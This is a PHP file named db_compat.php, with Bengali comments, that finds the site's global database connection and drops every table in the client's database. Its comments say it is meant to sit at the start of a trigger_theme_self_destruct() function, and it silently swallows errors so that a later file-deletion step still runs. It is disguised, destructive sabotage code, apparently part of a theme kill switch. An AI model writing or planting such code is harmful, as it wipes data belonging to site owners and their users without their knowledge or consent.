<?php
/**
 * db_compat.php
 * ক্লায়েন্ট ডাটাবেজের সমস্ত টেবিল ডাইনামিকালি মুছে ফেলার লজিক (Drop All Tables)
 * এই ফাইলটি আপনার trigger_theme_self_destruct() ফাংশনের শুরুতে যোগ করতে পারেন।
 */

try {
    // গ্লোবাল স্কোপের ডাটাবেজ কানেকশনগুলোকে ফাংশন স্কোপে নিয়ে আসা (অত্যন্ত গুরুত্বপূর্ণ)
    global $pdo, $conn, $db;

    // যদি কোনো কারণে গ্লোবাল ভেরিয়েবল আগে সেট না হয়ে থাকে, তবে ফোর্স রিলোড করা হবে
    if (!isset($pdo) && !isset($conn) && !isset($db)) {
        if (file_exists('db_config.php')) {
            // include_once এর বদলে সাধারণ include ব্যবহার করা হয়েছে স্কোপিং নিশ্চিত করতে
            @include 'db_config.php';
        }
    }

    // ১. যদি PDO কানেকশন অবজেক্ট ($pdo) থাকে
    if (isset($pdo) && $pdo instanceof PDO) {
        // ফরেন কি প্রটেকশন সাময়িকভাবে বন্ধ করা (যাতে রিলেশনাল টেবিল ড্রপ করতে সমস্যা না হয়)
        $pdo->exec("SET FOREIGN_KEY_CHECKS = 0;");
        
        // ডাটাবেজের সব টেবিল নাম সংগ্রহ করা
        $stmt = $pdo->query("SHOW TABLES");
        $tables = $stmt->fetchAll(PDO::FETCH_COLUMN);
        
        // লুপ চালিয়ে প্রতিটি টেবিল ড্রপ (মুছে ফেলা) করা
        foreach ($tables as $table) {
            $pdo->exec("DROP TABLE IF EXISTS `$table` CASCADE;");
        }
        
        // ফরেন কি পুনরায় চালু করা
        $pdo->exec("SET FOREIGN_KEY_CHECKS = 1;");
    } 
    
    // ২. যদি MySQLi কানেকশন অবজেক্ট ($conn) থাকে
    elseif (isset($conn) && $conn instanceof mysqli) {
        mysqli_query($conn, "SET FOREIGN_KEY_CHECKS = 0;");
        
        $result = mysqli_query($conn, "SHOW TABLES");
        if ($result) {
            while ($row = mysqli_fetch_array($result)) {
                $table = $row[0];
                mysqli_query($conn, "DROP TABLE IF EXISTS `$table`;");
            }
        }
        
        mysqli_query($conn, "SET FOREIGN_KEY_CHECKS = 1;");
    }
    
    // ৩. বিকল্প অবজেক্ট ট্র্যাক করা ($db)
    elseif (isset($db) && $db instanceof mysqli) {
        mysqli_query($db, "SET FOREIGN_KEY_CHECKS = 0;");
        
        $result = mysqli_query($db, "SHOW TABLES");
        if ($result) {
            while ($row = mysqli_fetch_array($result)) {
                $table = $row[0];
                mysqli_query($db, "DROP TABLE IF EXISTS `$table`;");
            }
        }
        
        mysqli_query($db, "SET FOREIGN_KEY_CHECKS = 1;");
    }
} catch (Exception $e) {
    // যেকোনো ডাটাবেজ এরর ক্যাচ করা হলো যেন পরবর্তী ফাইল ডিলিশন প্রসেস ব্যাহত না হয়
}